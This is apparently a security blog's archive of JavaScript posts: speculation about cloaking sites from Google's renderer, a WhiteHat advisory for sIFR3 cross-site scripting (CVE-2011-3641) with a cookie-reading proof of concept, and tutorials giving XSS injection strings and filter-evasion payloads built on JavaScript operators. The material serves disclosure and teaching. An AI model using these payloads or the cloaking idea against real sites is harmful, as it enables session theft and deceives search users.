Tag Archives: JavaScript

JavaScript Rendering and SEO

Over the weekend I spent some thinking about the fact that Google renders JavaScript. It occurred to me that Google is almost certainly smart enough to (a) cache all JS so that if it sees it multiple times it’s not going to pull it multiple times, and (b) also check to make sure that the JavaScript renderer doesn’t run away and eat up tons of processor time if the JavaScript is poorly written. Therein may lie opportunity for the malicious marketer (often called an SEO – search engine optimizer/search engine optimizing) who is trying to get to the top of the Google search results page.

Let’s say Google will only perform a loop as long as it believes it is not infinite and/or as long as the rendering engine doesn’t loop “too many” times. By finding that looping limit of N, you can do N+1 loops and put your cloaking code (where Google sees a benign high quality site and the user sees something quite differently) in plain sight. You may have to do some testing, and it’s entirely possible that Google’s rendering engine uses the same limits the browser does when it determines if something is going to run slowly before it throws a “slow script” warning (that’s the worst case scenario for messing with it).

Google’s rendering engine has almost certainly got to have limits though, and there is some experimentation that can be done there. The trick would be to find a mathematical JavaScript function that Google gives up on but the browser wouldn’t. As an aside, if Google is not smart enough to put limits in place, you can use it to mine bitcoin for you by making each URL unique so that Google can’t cheat and cache it. Either way, a malicious marketer wins, assuming there is no penalty associated.

Of course, it is possible that Google may use the “slow script” as a signal of a poor quality site; I know I would. It stands to reason that they may use that as a signal, because page load time has always been something Google has professed to care about, and with JavaScript rendering they can get a clearer view of that. That means that marketers should be very cautious in allowing third party JavaScript on their site for reasons beyond the security implications, since if it slows down page rendering time that could easily be cause to reduce their SEO rankings. There’s definitely some experimentation to do there.

The short of it is, if you run a website, try to avoid 3rd party JavaScript whenever possible to avoid this sort of slowness that might be used as a negative SEO tool.

sIFR3 Cross Site Scripting


WhiteHat Security Vulnerability Advisory

Affected Product:   scalable Inman Flash Replacement (sIFR) version 3

Vulnerability:   Cross Site Scripting

CVE ID:   CVE-2011-3641

Affected Versions:   sIFR3 r436 and prior

Vendor Homepage:   http://wiki.novemberborn.net/sifr3/

Description:   sIFR3 allows for the use of non-free fonts within a web application via Adobe Flash plugin. The sIFR3 module interfaces with an external JS file and utilizes the parameter “version” to ensure the two files are compatible. The textField that is displayed upon invalid input in the “version” parameter supports limited HTML rendering and allows for remote code execution Cross Site Scripting. An attacker can render arbitrary images that execute malicious javascript and in Adobe Flash player 10.3 and prior include a large break space to remove the encapsulating error message.

Proof of Concept:

/cochin.swf?version=<a href="javascript:confirm(document.cookie)"><img src="Attacker_Image.jpg"/></a><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>


Recompile any affected modules with the latest release (r437) which can be obtained from the vendor’s website: http://dev.novemberborn.net/sifr3/nightlies/sifr3-r437-CVE-2011-3641.zip

Editor’s note: Portions of this blog, including the headline, were edited by the author on December 9 after a CVE was assigned and the correct name had been given to the vuln.

Escaping Escapes

Sometimes a server will escape special characters that are injected: For instance, injecting a " character and having it reflect as \":

Injection: xss"



Sometimes, ironically enough, you can outsmart filters by using their own tricks against them. Try escaping their escape character like this:

Injection: xss\"



However, if the server escapes your injected \ as \\, this technique will not work:

Injection: xss\"


Not fun.

If you’re able to break out by escaping their escape, you’ll need to blend back in with something other than a ", because the escaping process breaks the syntax:

Injection: xss\"*alert(1)*\"


The *\\ following alert(1) is not valid syntax and will cause an error.


Injection: xss\"*alert(1)//


Commenting out the rest is your best bet, unless they escape your // like \/\/. When this happens, I don’t think there’s much you can do.

Escaping escapes reminds me of the classic movie moment, when a bad guy gets the drop on a good guy, but then another good guy gets the drop on the bad guy. It always cracks me up when this evasion technique works.

Anatomy of an XSS Injection

I love XSS, especially in JavaScript space. It’s like a puzzle. Sometimes it’s a four-piece jumbo jigsaw puzzle, like landing in an empty script tag with no filtering or encoding, but other times it’s a 10,000-piece mystery, requiring a complex injection to overcome multiple obstacles. Either way, it’s always satisfying when that ’1′, ‘xss’, or ‘lol’ pops up in an alert window.

Break Out, Execute Payload, Blend In

There are typically three pieces to an XSS injection: break out, execute payload, and blend in.  Consider the following:

Injection:  xss


In order to execute payload, we have to break out of the double-quoted string we’re landing in.

Injection (break out):  xss";


We’ve now broken out and terminated the x= line of code; it’s time to inject some payload.

Injection (break out + execute payload):  xss";alert(1);


Our payload is in place, but the "; following our injection is not proper syntax and will cause an error; we need to blend back in to the remaining code.

Injection (break out + execute payload + blend in):  xss";alert(1);//


By adding a comment, our injection now results in syntactically correct code that will execute our payload successfully.

Sometimes there’s nothing to break out of or blend back into, but often both are necessary in some degree to ensure that the code is syntactically valid and that the payload is executable.

Complex Breakouts

Sometimes the code path doesn’t allow your injection to fire, like when landing inside a function that’s never called on the page. In those instances, assuming that you can’t use </script> to break out, you must break out of any strings you’re in, as well as the actual function.  Furthermore, the end of your injection must blend back in to whatever code follows:

Injection:  xss

function neverCalledOnThePage()

Injection:  xss"}alert(1);if(0){//

function neverCalledOnThePage()

Helpful tips for dealing with this type of scenario are highly dependent on context, so I won’t go into any more detail here. Basically, break out from as little as is needed in order to get into executed space, and be as minimalistic as possible when blending back in to the code (use a comment, if possible). Replicating exactly what was present before you broke out is usually not necessary; however, referencing what was present is useful when crafting a syntactically correct blend back in to the code.

Filter Evasion: Concatenation & JavaScript Operators

In my previous post, I talked about the basic anatomy of an XSS injection: break out, execute payload, and blend in. While the anatomy is simple in principle, things can become more complex when filters, escaping, and encoding enter the mix.

One of the examples I used in the previous post was as follows:

Injection: xss";alert(1);//


Staying with this example, let’s say we are unable to add any of the following characters: / < > ; What then? Some of you are familiar with using string concatenation to execute XSS, like this:

Injection: xss"%2balert(1)%2b"


In JavaScript, the ‘+’ is simply an operator. How it will be interpreted will differ depending on the context. In some cases (x="hi "+"there"), it will be seen as string concatenation; but when applied to numbers (x=40+2), it will be seen as a mathematical operator. Because JavaScript checks basic syntax only before executing, operators other than the ‘+’ can be used; for example, an asterisk:

Injection: "*alert(1)*"


Used as a mathematical operator, the asterisk obviously will not compute anything meaningful when applied to strings (unless the strings can be parsed as numeric, like x="6"*"7"), so the JavaScript engine will readily accept the injection because it is syntactically correct.

The engine must first evaluate the alert(1) function call before it can evaluate the strings and asterisks. This is like the order of operations in mathematics: 3*2+1=7, but 3*(2+1)=9.  That is, the parentheses take precedence in the order of operations, just as the alert(1) function call takes precedence in the order of execution with code.  And, therefore, as long as valid JavaScript operators connect the function call to the surrounding operands, all will be merry and grand in the land of exploits.

Assuming there are no filtering obstacles to overcome, the following mathematical, logical, and bitwise operators can be used in our injection without violating syntax, and will result in our alert being executed:

Operator Injection Reflection
Addition & String Concatenation "%2balert(1)%2b" <script>x=""+alert(1)+"";y=42;</script>
Subtraction "-alert(1)-" <script>x=""-alert(1)-"";y=42;</script>
Multiplication "*alert(1)*" <script>x=""*alert(1)*"";y=42;</script>
Division "/alert(1)/" <script>x=""/alert(1)/"";y=42;</script>
Modulus; %25 needs to reflect as %. "%25alert(1)%25" <script>x=""%alert(1)%"";y=42;</script>
“Less Than” Comparison "<alert(1)<" <script>x=""<alert(1)<"";y=42;</script>
“Greater Than” Comparison ">alert(1)>" <script>x="">alert(1)>"";y=42;</script>
“Less Than or Equal To” Comparison "<=alert(1)<=" <script>x=""<=alert(1)<="";y=42;</script>
“Greater Than or Equal To” Comparison ">=alert(1)>=" <script>x="">=alert(1)>="";y=42;</script>
“Equal To” Comparison "==alert(1)==" <script>x=""==alert(1)=="";y=42;</script>
Strong-Typed “Equal To” Comparison "===alert(1)===" <script>x=""===alert(1)==="";y=42;</script>
“Not Equal To” Comparison "!=alert(1)!=" <script>x=""!=alert(1)!="";y=42;</script>
Logical “and”; %26 needs to reflect as &. "%26%26alert(1)%26%26" <script>x=""&&alert(1)&&"";y=42;</script>
Logical “or”; Note: will only result in payload executing if preceding string is evaluated as “false” by the JS engine, like an empty string. "||alert(1)||" <script>x=""||alert(1)||"";y=42;</script>
Bitwise “and”; %26 needs to reflect as &. "%26alert(1)%26" <script>x=""&alert(1)&"";y=42;</script>
Bitwise “or” "|alert(1)|" <script>x=""|alert(1)|"";y=42;</script>
Bitwise “xor” "^alert(1)^" <script>x=""^alert(1)^"";y=42;</script>
Bitwise Left Shift "<<alert(1)<<" <script>x=""<<alert(1)<<"";y=42;</script>
Bitwise Right Shift ">>alert(1)>>" <script>x="">>alert(1)>>"";y=42;</script>
Bitwise Right Shift With Zeros ">>>alert(1)>>>" <script>x="">>>alert(1)>>>"";y=42;</script>
Ternary Conditional Expression "?alert(1):" <script>x=""?alert(1):"";y=42;</script>


You may be asking, “Why bother listing << if simply < can be used?” I’m so glad you asked!  The answer is this: Every application is unique, and you never know when < might get filtered out, while << does not.

Overall it’s always good to know as many options as possible, because even the most unlikely one may end up being the key.